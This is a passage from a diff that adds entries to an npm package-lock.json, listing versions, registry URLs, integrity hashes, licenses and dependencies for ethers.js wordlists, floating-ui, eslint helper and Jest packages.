3727+ "integrity": "sha512-j7+Ksi/9KfGviws6Qtf9Q7KCqRhpwrYKQPs+JBA/rKVFF/yaWLHJEH3zfVP2plVu+eys0d2DlFmhoQJayFewcw==",
3728+ "funding": [
3729+ {
3730+ "type": "individual",
3731+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3732+ },
3733+ {
3734+ "type": "individual",
3735+ "url": "https://www.buymeacoffee.com/ricmoo"
3736+ }
3737+ ],
3738+ "license": "MIT",
3739+ "dependencies": {
3740+ "@ethersproject/base64": "^5.8.0",
3741+ "@ethersproject/bytes": "^5.8.0",
3742+ "@ethersproject/logger": "^5.8.0",
3743+ "@ethersproject/properties": "^5.8.0",
3744+ "@ethersproject/strings": "^5.8.0"
3745+ }
3746+ },
3747+ "node_modules/@ethersproject/wordlists": {
3748+ "version": "5.8.0",
3749+ "resolved": "https://registry.npmjs.org/@ethersproject/wordlists/-/wordlists-5.8.0.tgz",
3750+ "integrity": "sha512-2df9bbXicZws2Sb5S6ET493uJ0Z84Fjr3pC4tu/qlnZERibZCeUVuqdtt+7Tv9xxhUxHoIekIA7avrKUWHrezg==",
3751+ "funding": [
3752+ {
3753+ "type": "individual",
3754+ "url": "https://gitcoin.co/grants/13/ethersjs-complete-simple-and-tiny-2"
3755+ },
3756+ {
3757+ "type": "individual",
3758+ "url": "https://www.buymeacoffee.com/ricmoo"
3759+ }
3760+ ],
3761+ "license": "MIT",
3762+ "dependencies": {
3763+ "@ethersproject/bytes": "^5.8.0",
3764+ "@ethersproject/hash": "^5.8.0",
3765+ "@ethersproject/logger": "^5.8.0",
3766+ "@ethersproject/properties": "^5.8.0",
3767+ "@ethersproject/strings": "^5.8.0"
3768+ }
3769+ },
3770+ "node_modules/@floating-ui/core": {
3771+ "version": "1.7.3",
3772+ "resolved": "https://registry.npmjs.org/@floating-ui/core/-/core-1.7.3.tgz",
3773+ "integrity": "sha512-sGnvb5dmrJaKEZ+LDIpguvdX3bDlEllmv4/ClQ9awcmCZrlx5jQyyMWFM5kBI+EyNOCDDiKk8il0zeuX3Zlg/w==",
3774+ "license": "MIT",
3775+ "dependencies": {
3776+ "@floating-ui/utils": "^0.2.10"
3777+ }
3778+ },
3779+ "node_modules/@floating-ui/dom": {
3780+ "version": "1.7.4",
3781+ "resolved": "https://registry.npmjs.org/@floating-ui/dom/-/dom-1.7.4.tgz",
3782+ "integrity": "sha512-OOchDgh4F2CchOX94cRVqhvy7b3AFb+/rQXyswmzmGakRfkMgoWVjfnLWkRirfLEfuD4ysVW16eXzwt3jHIzKA==",
3783+ "license": "MIT",
3784+ "dependencies": {
3785+ "@floating-ui/core": "^1.7.3",
3786+ "@floating-ui/utils": "^0.2.10"
3787+ }
3788+ },
3789+ "node_modules/@floating-ui/react-dom": {
3790+ "version": "2.1.6",
3791+ "resolved": "https://registry.npmjs.org/@floating-ui/react-dom/-/react-dom-2.1.6.tgz",
3792+ "integrity": "sha512-4JX6rEatQEvlmgU80wZyq9RT96HZJa88q8hp0pBd+LrczeDI4o6uA2M+uvxngVHo4Ihr8uibXxH6+70zhAFrVw==",
3793+ "license": "MIT",
3794+ "dependencies": {
3795+ "@floating-ui/dom": "^1.7.4"
3796+ },
3797+ "peerDependencies": {
3798+ "react": ">=16.8.0",
3799+ "react-dom": ">=16.8.0"
3800+ }
3801+ },
3802+ "node_modules/@floating-ui/utils": {
3803+ "version": "0.2.10",
3804+ "resolved": "https://registry.npmjs.org/@floating-ui/utils/-/utils-0.2.10.tgz",
3805+ "integrity": "sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ==",
3806+ "license": "MIT"
3807+ },
3808+ "node_modules/@humanwhocodes/config-array": {
3809+ "version": "0.13.0",
3810+ "resolved": "https://registry.npmjs.org/@humanwhocodes/config-array/-/config-array-0.13.0.tgz",
3811+ "integrity": "sha512-DZLEEqFWQFiyK6h5YIeynKx7JlvCYWL0cImfSRXZ9l4Sg2efkFGTuFf6vzXjK1cq6IYkU+Eg/JizXw+TD2vRNw==",
3812+ "deprecated": "Use @eslint/config-array instead",
3813+ "license": "Apache-2.0",
3814+ "dependencies": {
3815+ "@humanwhocodes/object-schema": "^2.0.3",
3816+ "debug": "^4.3.1",
3817+ "minimatch": "^3.0.5"
3818+ },
3819+ "engines": {
3820+ "node": ">=10.10.0"
3821+ }
3822+ },
3823+ "node_modules/@humanwhocodes/config-array/node_modules/debug": {
3824+ "version": "4.4.3",
3825+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.4.3.tgz",
3826+ "integrity": "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA==",
3827+ "license": "MIT",
3828+ "dependencies": {
3829+ "ms": "^2.1.3"
3830+ },
3831+ "engines": {
3832+ "node": ">=6.0"
3833+ },
3834+ "peerDependenciesMeta": {
3835+ "supports-color": {
3836+ "optional": true
3837+ }
3838+ }
3839+ },
3840+ "node_modules/@humanwhocodes/config-array/node_modules/ms": {
3841+ "version": "2.1.3",
3842+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
3843+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
3844+ "license": "MIT"
3845+ },
3846+ "node_modules/@humanwhocodes/module-importer": {
3847+ "version": "1.0.1",
3848+ "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz",
3849+ "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==",
3850+ "license": "Apache-2.0",
3851+ "engines": {
3852+ "node": ">=12.22"
3853+ },
3854+ "funding": {
3855+ "type": "github",
3856+ "url": "https://github.com/sponsors/nzakas"
3857+ }
3858+ },
3859+ "node_modules/@humanwhocodes/object-schema": {
3860+ "version": "2.0.3",
3861+ "resolved": "https://registry.npmjs.org/@humanwhocodes/object-schema/-/object-schema-2.0.3.tgz",
3862+ "integrity": "sha512-93zYdMES/c1D69yZiKDBj0V24vqNzB/koF26KPaagAfd3P/4gUlh3Dys5ogAK+Exi9QyzlD8x/08Zt7wIKcDcA==",
3863+ "deprecated": "Use @eslint/object-schema instead",
3864+ "license": "BSD-3-Clause"
3865+ },
3866+ "node_modules/@istanbuljs/load-nyc-config": {
3867+ "version": "1.1.0",
3868+ "resolved": "https://registry.npmjs.org/@istanbuljs/load-nyc-config/-/load-nyc-config-1.1.0.tgz",
3869+ "integrity": "sha512-VjeHSlIzpv/NyD3N0YuHfXOPDIixcA1q2ZV98wsMqcYlPmv2n3Yb2lYP9XMElnaFVXg5A7YLTeLu6V84uQDjmQ==",
3870+ "license": "ISC",
3871+ "dependencies": {
3872+ "camelcase": "^5.3.1",
3873+ "find-up": "^4.1.0",
3874+ "get-package-type": "^0.1.0",
3875+ "js-yaml": "^3.13.1",
3876+ "resolve-from": "^5.0.0"
3877+ },
3878+ "engines": {
3879+ "node": ">=8"
3880+ }
3881+ },
3882+ "node_modules/@istanbuljs/load-nyc-config/node_modules/camelcase": {
3883+ "version": "5.3.1",
3884+ "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
3885+ "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==",
3886+ "license": "MIT",
3887+ "engines": {
3888+ "node": ">=6"
3889+ }
3890+ },
3891+ "node_modules/@istanbuljs/schema": {
3892+ "version": "0.1.3",
3893+ "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz",
3894+ "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==",
3895+ "license": "MIT",
3896+ "engines": {
3897+ "node": ">=8"
3898+ }
3899+ },
3900+ "node_modules/@jest/console": {
3901+ "version": "27.5.1",
3902+ "resolved": "https://registry.npmjs.org/@jest/console/-/console-27.5.1.tgz",
3903+ "integrity": "sha512-kZ/tNpS3NXn0mlXXXPNuDZnb4c0oZ20r4K5eemM2k30ZC3G0T02nXUvyhf5YdbXWHPEJLc9qGLxEZ216MdL+Zg==",
3904+ "license": "MIT",
3905+ "dependencies": {
3906+ "@jest/types": "^27.5.1",
3907+ "@types/node": "*",
3908+ "chalk": "^4.0.0",
3909+ "jest-message-util": "^27.5.1",
3910+ "jest-util": "^27.5.1",
3911+ "slash": "^3.0.0"
3912+ },
3913+ "engines": {
3914+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
3915+ }
3916+ },
3917+ "node_modules/@jest/console/node_modules/@jest/types": {
3918+ "version": "27.5.1",
3919+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
3920+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
3921+ "license": "MIT",
3922+ "dependencies": {
3923+ "@types/istanbul-lib-coverage": "^2.0.0",
3924+ "@types/istanbul-reports": "^3.0.0",
3925+ "@types/node": "*",
3926+ "@types/yargs": "^16.0.0",
3927+ "chalk": "^4.0.0"
3928+ },
3929+ "engines": {
3930+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
3931+ }
3932+ },
3933+ "node_modules/@jest/console/node_modules/@types/yargs": {
3934+ "version": "16.0.11",
3935+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
3936+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
3937+ "license": "MIT",
3938+ "dependencies": {
3939+ "@types/yargs-parser": "*"
3940+ }
3941+ },
3942+ "node_modules/@jest/console/node_modules/chalk": {
3943+ "version": "4.1.2",
3944+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
3945+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
3946+ "license": "MIT",
3947+ "dependencies": {
3948+ "ansi-styles": "^4.1.0",
3949+ "supports-color": "^7.1.0"
3950+ },
3951+ "engines": {
3952+ "node": ">=10"
3953+ },
3954+ "funding": {
3955+ "url": "https://github.com/chalk/chalk?sponsor=1"
3956+ }
3957+ },
3958+ "node_modules/@jest/console/node_modules/ci-info": {
3959+ "version": "3.9.0",
3960+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
3961+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
3962+ "funding": [
3963+ {
3964+ "type": "github",
3965+ "url": "https://github.com/sponsors/sibiraj-s"
3966+ }
3967+ ],
3968+ "license": "MIT",
3969+ "engines": {
3970+ "node": ">=8"
3971+ }
3972+ },
3973+ "node_modules/@jest/console/node_modules/jest-message-util": {
3974+ "version": "27.5.1",
3975+ "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz",
3976+ "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==",
3977+ "license": "MIT",
3978+ "dependencies": {
3979+ "@babel/code-frame": "^7.12.13",
3980+ "@jest/types": "^27.5.1",
3981+ "@types/stack-utils": "^2.0.0",
3982+ "chalk": "^4.0.0",
3983+ "graceful-fs": "^4.2.9",
3984+ "micromatch": "^4.0.4",
3985+ "pretty-format": "^27.5.1",
3986+ "slash": "^3.0.0",
3987+ "stack-utils": "^2.0.3"
3988+ },
3989+ "engines": {
3990+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
3991+ }
3992+ },
3993+ "node_modules/@jest/console/node_modules/jest-util": {
3994+ "version": "27.5.1",
3995+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
3996+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
3997+ "license": "MIT",
3998+ "dependencies": {
3999+ "@jest/types": "^27.5.1",
4000+ "@types/node": "*",
4001+ "chalk": "^4.0.0",
4002+ "ci-info": "^3.2.0",
4003+ "graceful-fs": "^4.2.9",
4004+ "picomatch": "^2.2.3"
4005+ },
4006+ "engines": {
4007+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4008+ }
4009+ },
4010+ "node_modules/@jest/console/node_modules/picomatch": {
4011+ "version": "2.3.1",
4012+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
4013+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
4014+ "license": "MIT",
4015+ "engines": {
4016+ "node": ">=8.6"
4017+ },
4018+ "funding": {
4019+ "url": "https://github.com/sponsors/jonschlinkert"
4020+ }
4021+ },
4022+ "node_modules/@jest/core": {
4023+ "version": "27.5.1",
4024+ "resolved": "https://registry.npmjs.org/@jest/core/-/core-27.5.1.tgz",
4025+ "integrity": "sha512-AK6/UTrvQD0Cd24NSqmIA6rKsu0tKIxfiCducZvqxYdmMisOYAsdItspT+fQDQYARPf8XgjAFZi0ogW2agH5nQ==",
4026+ "license": "MIT",
4027+ "dependencies": {
4028+ "@jest/console": "^27.5.1",
4029+ "@jest/reporters": "^27.5.1",
4030+ "@jest/test-result": "^27.5.1",
4031+ "@jest/transform": "^27.5.1",
4032+ "@jest/types": "^27.5.1",
4033+ "@types/node": "*",
4034+ "ansi-escapes": "^4.2.1",
4035+ "chalk": "^4.0.0",
4036+ "emittery": "^0.8.1",
4037+ "exit": "^0.1.2",
4038+ "graceful-fs": "^4.2.9",
4039+ "jest-changed-files": "^27.5.1",
4040+ "jest-config": "^27.5.1",
4041+ "jest-haste-map": "^27.5.1",
4042+ "jest-message-util": "^27.5.1",
4043+ "jest-regex-util": "^27.5.1",
4044+ "jest-resolve": "^27.5.1",
4045+ "jest-resolve-dependencies": "^27.5.1",
4046+ "jest-runner": "^27.5.1",
4047+ "jest-runtime": "^27.5.1",
4048+ "jest-snapshot": "^27.5.1",
4049+ "jest-util": "^27.5.1",
4050+ "jest-validate": "^27.5.1",
4051+ "jest-watcher": "^27.5.1",
4052+ "micromatch": "^4.0.4",
4053+ "rimraf": "^3.0.0",
4054+ "slash": "^3.0.0",
4055+ "strip-ansi": "^6.0.0"
4056+ },
4057+ "engines": {
4058+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4059+ },
4060+ "peerDependencies": {
4061+ "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0"
4062+ },
4063+ "peerDependenciesMeta": {
4064+ "node-notifier": {
4065+ "optional": true
4066+ }
4067+ }
4068+ },
4069+ "node_modules/@jest/core/node_modules/@jest/types": {
4070+ "version": "27.5.1",
4071+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
4072+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
4073+ "license": "MIT",
4074+ "dependencies": {
4075+ "@types/istanbul-lib-coverage": "^2.0.0",
4076+ "@types/istanbul-reports": "^3.0.0",
4077+ "@types/node": "*",
4078+ "@types/yargs": "^16.0.0",
4079+ "chalk": "^4.0.0"
4080+ },
4081+ "engines": {
4082+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4083+ }
4084+ },
4085+ "node_modules/@jest/core/node_modules/@types/yargs": {
4086+ "version": "16.0.11",
4087+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
4088+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
4089+ "license": "MIT",
4090+ "dependencies": {
4091+ "@types/yargs-parser": "*"
4092+ }
4093+ },
4094+ "node_modules/@jest/core/node_modules/chalk": {
4095+ "version": "4.1.2",
4096+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
4097+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
4098+ "license": "MIT",
4099+ "dependencies": {
4100+ "ansi-styles": "^4.1.0",
4101+ "supports-color": "^7.1.0"
4102+ },
4103+ "engines": {
4104+ "node": ">=10"
4105+ },
4106+ "funding": {
4107+ "url": "https://github.com/chalk/chalk?sponsor=1"
4108+ }
4109+ },
4110+ "node_modules/@jest/core/node_modules/ci-info": {
4111+ "version": "3.9.0",
4112+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
4113+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
4114+ "funding": [
4115+ {
4116+ "type": "github",
4117+ "url": "https://github.com/sponsors/sibiraj-s"
4118+ }
4119+ ],
4120+ "license": "MIT",
4121+ "engines": {
4122+ "node": ">=8"
4123+ }
4124+ },
4125+ "node_modules/@jest/core/node_modules/jest-message-util": {
4126+ "version": "27.5.1",
4127+ "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz",
4128+ "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==",
4129+ "license": "MIT",
4130+ "dependencies": {
4131+ "@babel/code-frame": "^7.12.13",
4132+ "@jest/types": "^27.5.1",
4133+ "@types/stack-utils": "^2.0.0",
4134+ "chalk": "^4.0.0",
4135+ "graceful-fs": "^4.2.9",
4136+ "micromatch": "^4.0.4",
4137+ "pretty-format": "^27.5.1",
4138+ "slash": "^3.0.0",
4139+ "stack-utils": "^2.0.3"
4140+ },
4141+ "engines": {
4142+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4143+ }
4144+ },
4145+ "node_modules/@jest/core/node_modules/jest-regex-util": {
4146+ "version": "27.5.1",
4147+ "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-27.5.1.tgz",
4148+ "integrity": "sha512-4bfKq2zie+x16okqDXjXn9ql2B0dScQu+vcwe4TvFVhkVyuWLqpZrZtXxLLWoXYgn0E87I6r6GRYHF7wFZBUvg==",
4149+ "license": "MIT",
4150+ "engines": {
4151+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4152+ }
4153+ },
4154+ "node_modules/@jest/core/node_modules/jest-util": {
4155+ "version": "27.5.1",
4156+ "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-27.5.1.tgz",
4157+ "integrity": "sha512-Kv2o/8jNvX1MQ0KGtw480E/w4fBCDOnH6+6DmeKi6LZUIlKA5kwY0YNdlzaWTiVgxqAqik11QyxDOKk543aKXw==",
4158+ "license": "MIT",
4159+ "dependencies": {
4160+ "@jest/types": "^27.5.1",
4161+ "@types/node": "*",
4162+ "chalk": "^4.0.0",
4163+ "ci-info": "^3.2.0",
4164+ "graceful-fs": "^4.2.9",
4165+ "picomatch": "^2.2.3"
4166+ },
4167+ "engines": {
4168+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4169+ }
4170+ },
4171+ "node_modules/@jest/core/node_modules/picomatch": {
4172+ "version": "2.3.1",
4173+ "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.3.1.tgz",
4174+ "integrity": "sha512-JU3teHTNjmE2VCGFzuY8EXzCDVwEqB2a8fsIvwaStHhAWJEeVd1o1QD80CU6+ZdEXXSLbSsuLwJjkCBWqRQUVA==",
4175+ "license": "MIT",
4176+ "engines": {
4177+ "node": ">=8.6"
4178+ },
4179+ "funding": {
4180+ "url": "https://github.com/sponsors/jonschlinkert"
4181+ }
4182+ },
4183+ "node_modules/@jest/diff-sequences": {
4184+ "version": "30.0.1",
4185+ "resolved": "https://registry.npmjs.org/@jest/diff-sequences/-/diff-sequences-30.0.1.tgz",
4186+ "integrity": "sha512-n5H8QLDJ47QqbCNn5SuFjCRDrOLEZ0h8vAHCK5RL9Ls7Xa8AQLa/YxAc9UjFqoEDM48muwtBGjtMY5cr0PLDCw==",
4187+ "license": "MIT",
4188+ "engines": {
4189+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
4190+ }
4191+ },
4192+ "node_modules/@jest/environment": {
4193+ "version": "27.5.1",
4194+ "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-27.5.1.tgz",
4195+ "integrity": "sha512-/WQjhPJe3/ghaol/4Bq480JKXV/Rfw8nQdN7f41fM8VDHLcxKXou6QyXAh3EFr9/bVG3x74z1NWDkP87EiY8gA==",
4196+ "license": "MIT",
4197+ "dependencies": {
4198+ "@jest/fake-timers": "^27.5.1",
4199+ "@jest/types": "^27.5.1",
4200+ "@types/node": "*",
4201+ "jest-mock": "^27.5.1"
4202+ },
4203+ "engines": {
4204+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4205+ }
4206+ },
4207+ "node_modules/@jest/environment/node_modules/@jest/types": {
4208+ "version": "27.5.1",
4209+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
4210+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
4211+ "license": "MIT",
4212+ "dependencies": {
4213+ "@types/istanbul-lib-coverage": "^2.0.0",
4214+ "@types/istanbul-reports": "^3.0.0",
4215+ "@types/node": "*",
4216+ "@types/yargs": "^16.0.0",
4217+ "chalk": "^4.0.0"
4218+ },
4219+ "engines": {
4220+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4221+ }
4222+ },
4223+ "node_modules/@jest/environment/node_modules/@types/yargs": {
4224+ "version": "16.0.11",
4225+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
4226+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
4227+ "license": "MIT",
4228+ "dependencies": {
4229+ "@types/yargs-parser": "*"
4230+ }
4231+ },
4232+ "node_modules/@jest/environment/node_modules/chalk": {
4233+ "version": "4.1.2",
4234+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
4235+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
4236+ "license": "MIT",
4237+ "dependencies": {
4238+ "ansi-styles": "^4.1.0",
4239+ "supports-color": "^7.1.0"
4240+ },
4241+ "engines": {
4242+ "node": ">=10"
4243+ },
4244+ "funding": {
4245+ "url": "https://github.com/chalk/chalk?sponsor=1"
4246+ }
4247+ },
4248+ "node_modules/@jest/environment/node_modules/jest-mock": {
4249+ "version": "27.5.1",
4250+ "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-27.5.1.tgz",
4251+ "integrity": "sha512-K4jKbY1d4ENhbrG2zuPWaQBvDly+iZ2yAW+T1fATN78hc0sInwn7wZB8XtlNnvHug5RMwV897Xm4LqmPM4e2Og==",
4252+ "license": "MIT",
4253+ "dependencies": {
4254+ "@jest/types": "^27.5.1",
4255+ "@types/node": "*"
4256+ },
4257+ "engines": {
4258+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4259+ }
4260+ },
4261+ "node_modules/@jest/expect-utils": {
4262+ "version": "30.2.0",
4263+ "resolved": "https://registry.npmjs.org/@jest/expect-utils/-/expect-utils-30.2.0.tgz",
4264+ "integrity": "sha512-1JnRfhqpD8HGpOmQp180Fo9Zt69zNtC+9lR+kT7NVL05tNXIi+QC8Csz7lfidMoVLPD3FnOtcmp0CEFnxExGEA==",
4265+ "license": "MIT",
4266+ "dependencies": {
4267+ "@jest/get-type": "30.1.0"
4268+ },
4269+ "engines": {
4270+ "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0"
4271+ }
4272+ },
4273+ "node_modules/@jest/fake-timers": {
4274+ "version": "27.5.1",
4275+ "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-27.5.1.tgz",
4276+ "integrity": "sha512-/aPowoolwa07k7/oM3aASneNeBGCmGQsc3ugN4u6s4C/+s5M64MFo/+djTdiwcbQlRfFElGuDXWzaWj6QgKObQ==",
4277+ "license": "MIT",
4278+ "dependencies": {
4279+ "@jest/types": "^27.5.1",
4280+ "@sinonjs/fake-timers": "^8.0.1",
4281+ "@types/node": "*",
4282+ "jest-message-util": "^27.5.1",
4283+ "jest-mock": "^27.5.1",
4284+ "jest-util": "^27.5.1"
4285+ },
4286+ "engines": {
4287+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4288+ }
4289+ },
4290+ "node_modules/@jest/fake-timers/node_modules/@jest/types": {
4291+ "version": "27.5.1",
4292+ "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz",
4293+ "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==",
4294+ "license": "MIT",
4295+ "dependencies": {
4296+ "@types/istanbul-lib-coverage": "^2.0.0",
4297+ "@types/istanbul-reports": "^3.0.0",
4298+ "@types/node": "*",
4299+ "@types/yargs": "^16.0.0",
4300+ "chalk": "^4.0.0"
4301+ },
4302+ "engines": {
4303+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4304+ }
4305+ },
4306+ "node_modules/@jest/fake-timers/node_modules/@types/yargs": {
4307+ "version": "16.0.11",
4308+ "resolved": "https://registry.npmjs.org/@types/yargs/-/yargs-16.0.11.tgz",
4309+ "integrity": "sha512-sbtvk8wDN+JvEdabmZExoW/HNr1cB7D/j4LT08rMiuikfA7m/JNJg7ATQcgzs34zHnoScDkY0ZRSl29Fkmk36g==",
4310+ "license": "MIT",
4311+ "dependencies": {
4312+ "@types/yargs-parser": "*"
4313+ }
4314+ },
4315+ "node_modules/@jest/fake-timers/node_modules/chalk": {
4316+ "version": "4.1.2",
4317+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
4318+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
4319+ "license": "MIT",
4320+ "dependencies": {
4321+ "ansi-styles": "^4.1.0",
4322+ "supports-color": "^7.1.0"
4323+ },
4324+ "engines": {
4325+ "node": ">=10"
4326+ },
4327+ "funding": {
4328+ "url": "https://github.com/chalk/chalk?sponsor=1"
4329+ }
4330+ },
4331+ "node_modules/@jest/fake-timers/node_modules/ci-info": {
4332+ "version": "3.9.0",
4333+ "resolved": "https://registry.npmjs.org/ci-info/-/ci-info-3.9.0.tgz",
4334+ "integrity": "sha512-NIxF55hv4nSqQswkAeiOi1r83xy8JldOFDTWiug55KBu9Jnblncd2U6ViHmYgHf01TPZS77NJBhBMKdWj9HQMQ==",
4335+ "funding": [
4336+ {
4337+ "type": "github",
4338+ "url": "https://github.com/sponsors/sibiraj-s"
4339+ }
4340+ ],
4341+ "license": "MIT",
4342+ "engines": {
4343+ "node": ">=8"
4344+ }
4345+ },
4346+ "node_modules/@jest/fake-timers/node_modules/jest-message-util": {
4347+ "version": "27.5.1",
4348+ "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-27.5.1.tgz",
4349+ "integrity": "sha512-rMyFe1+jnyAAf+NHwTclDz0eAaLkVDdKVHHBFWsBWHnnh5YeJMNWWsv7AbFYXfK3oTqvL7VTWkhNLu1jX24D+g==",
4350+ "license": "MIT",
4351+ "dependencies": {
4352+ "@babel/code-frame": "^7.12.13",
4353+ "@jest/types": "^27.5.1",
4354+ "@types/stack-utils": "^2.0.0",
4355+ "chalk": "^4.0.0",
4356+ "graceful-fs": "^4.2.9",
4357+ "micromatch": "^4.0.4",
4358+ "pretty-format": "^27.5.1",
4359+ "slash": "^3.0.0",
4360+ "stack-utils": "^2.0.3"
4361+ },
4362+ "engines": {
4363+ "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0"
4364+ }
